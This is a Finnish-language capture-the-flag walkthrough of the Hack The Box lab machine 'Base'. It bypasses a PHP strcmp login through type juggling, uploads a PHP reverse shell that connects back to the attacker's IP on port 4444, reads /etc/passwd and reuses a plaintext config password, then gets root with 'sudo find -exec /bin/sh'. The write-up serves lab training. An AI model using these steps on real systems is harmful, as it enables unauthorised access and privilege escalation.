Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta base.htb
User flag
Tehty nopea Nmap-skannaus kohteen kaikkiin TCP-portteihin asettamalla skannausnopeus -T5 ja –min-rate=1000 sekä –max-retries=2. Nmap löysi kohteesta avoimet portit 22 (SSH) ja 80 (TCP).
Skannattu perusteellisemmin Nmap:lla portit 22 ja 80. Huomataan, että kohde on Linux-kone.
Selaimella menty kohteen osoitteeseen base.htb
Navigoitu Login-painikkeesta kirjautumissivulle. Osoiteriviltä huomataan osoite: http://base.htb/login/login.php
Osoiteriviltä päästy tarkastelemaan kohteen hakemistoa /login poistamalla osoiteriviltä tiedostonnimi login.php
Hakemisto sisältää kolme php-tiedostoa: config.php, login.php ja login.php.swp. Ladattu SWAP-tiedosto: login.php.swp
Luettu tiedoston login.php.swp sisältö komennolla: strings login.php.swp (komento strings mahdollistaa tiedostojen lukemisen, jossa lukukelvotonta sisältöä). Huomataan, että koodi on HTML/PHP -koodia.
PHP-koodi, joka hallinnoi kirjautumisia vaikuttaa olevan väärinpäin:
!DOCTYPE html>
}
print(“<script>alert(‘Wrong Username or Password’)</script>”);
} else {
}
print(“<script>alert(‘Wrong Username or Password’)</script>”);
} else {
header(“Location: /upload.php”);
$_SESSION[‘user_id’] = 1;
if (strcmp($password, $_POST[‘password’]) == 0) {
if (strcmp($username, $_POST[‘username’]) == 0) {
require(‘config.php’);
if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) {
session_start();
<?php
</html>
</body>
Komennolla: vim -r login.php.swp aukaistu SWAP-tiedosto Vim:ssa, jotta PHP-skripti näkyy oikein. Tiedosto tarkistaa käyttäjätunnuksen/salasanan, jotka käyttäjä syöttää.
Koodissa käytetään strcmp-funktiota käyttäjätunnuksen ja salasanan tarkistamiseen. Funktiota käytetään merkkijonojen vertailuun, ja funktio palauttaa 0, kun syötetyt arvot ovat identtiset. Prosessi ei ole turvallinen, ja voidaan mahdollisesti ohittaa ilman oikeaa käyttäjätunnusta ja salasanaa.
Koodissa strcmp-funktiolle on on annettu tyhjä taulukko verrattavaksi tallennettuun salasanaan, ja palauttaa NULL. PHP:ssa operaattori == tarkistaa onko muuttuja saman arvoinen, arvo NULL vastaa 0. Oikea tapa olisi käyttää === -operaattoria, joka tarkistaa sekä arvon että tyypin.
PHP:ssa muuttujat voidaan muutta taulukoiksi lisäämällä eteen []
Lisäämällä [] muuttujan $username eteen, vertaa strcmp() taulukkoon merkkijonon sijaan.
Jos muuttujat muutetaan tyhjiksi taulukoiksi ( $username[] & $password[] ), vertailu palauttaa NULL , ja NULL == 0 palauttaa true, jolloin kirjautuminen onnistuu.
Lisää PHP Type Juggling haavoittuvuudesta: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
Menty takaisin kirjautumissivulle http://base.htb/login/login.php ja syötetty käyttäjätunnukseksi admin ja salasanaksi qwerty. Siepattu login-requesti Burb Suitessa ja lähetetty Repeater-välilehdelle.
Lisätty requestiin username ja password jälkeen [] ja lähetetty requesti. Saatu 302 found virhekoodi. Painettu yläpalkista “Follow redirection”.
Uudelleenohjauksen jälkeen vastauksessa näkyy sivun otsikkona: Base – File Upload
Kopioitu Burb Suitesta vastauksen URL-osoite ja avattu linkki selaimessa.
Linkki http://base.htb/upload.php johti tiedostojen lataussivulle. Seuraavaksi ladataan sivulle tiedosto php-reverse-shell.php Reverse Shellin muodostamista varten.
Kopioitu tiedosto php-reverse-shell.php nykyiseen hakemistoon komennolla: cp /usr/share/webshells/php/php-reverse-shell.php .
Muokattu tiedostoon php-reverse-shell.php oma tun0 IP-osoite ja portti 4444.
Ladattu tiedosto http://base.htb/upload.php sivulle, ja saatiin ilmoitus sivulla onnistuneesta tiedoston lataamisesta.
Gobusterin avulla selvitetty mahdollista hakemistoa, johon ladattu tiedosto php-reverse-shell.php meni kohteessa. Komento: gobuster dir -u http://base.htb/ -w /usr/share/wordlists/dirb/big.txt
Gobuster löysi hakemiston: /_uploaded
Selaimella menty osoitteeseen: base.htb/_uploaded/ ja huomataan sijainnista ladattu tiedosto php-reverse-shell.php
Käynnistetty Netcat-kuuntelija porttiin 4444 komennolla: nc -lvnp 4444
Kirjoitettu selaimessa osoiteriville: http://base.htb/_uploaded/php-reverse-shell.php
Netcat-kuuntelijassa onnistuneesti saatu Reverse Shell kohteeseen (10.129.22.4). Otettu vakaa shell komennolla: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
Tarkasteltu tiedostosta /etc/passwd kohteen käyttäjiä. Huomataan, että käyttäjällä john on /bin/bash -shell, joka mahdollistaa sisäänkirjautumisen.
Siirrytty kohteessa hakemistoon /var/www/html ja listattu hakemiston sisältö.
Hakemiston /var/www/html/login tiedostosta config.php löytyi käyttäjätunnus: admin ja salasana: thisisagoodpassword
Onnistuneesti kirjauduttu sisään käyttäjänä john ja salasanalla thisisagoodpassword
User flag löytyi hakemistosta /home/john
Root flag
Komennolla sudo -l tarkistettu mitä komentoja käyttäjä john pystyy suorittamaan sudo-oikeuksin. Huomataan, että john pystyy ainoastaan suorittamaan sudona komennon find
Komennolla: sudo find . -exec /bin/sh \; -quit kohotettu oikeudet root-käyttäjäksi. Lähde komentoon: https://gtfobins.github.io/gtfobins/find/
Root flag löytyi hakemistosta /root
Base:n suorittamisen jälkeen kaikki Starting Point -osion 14.8.2022 mennessä julkaistut 22 konetta suoritettu.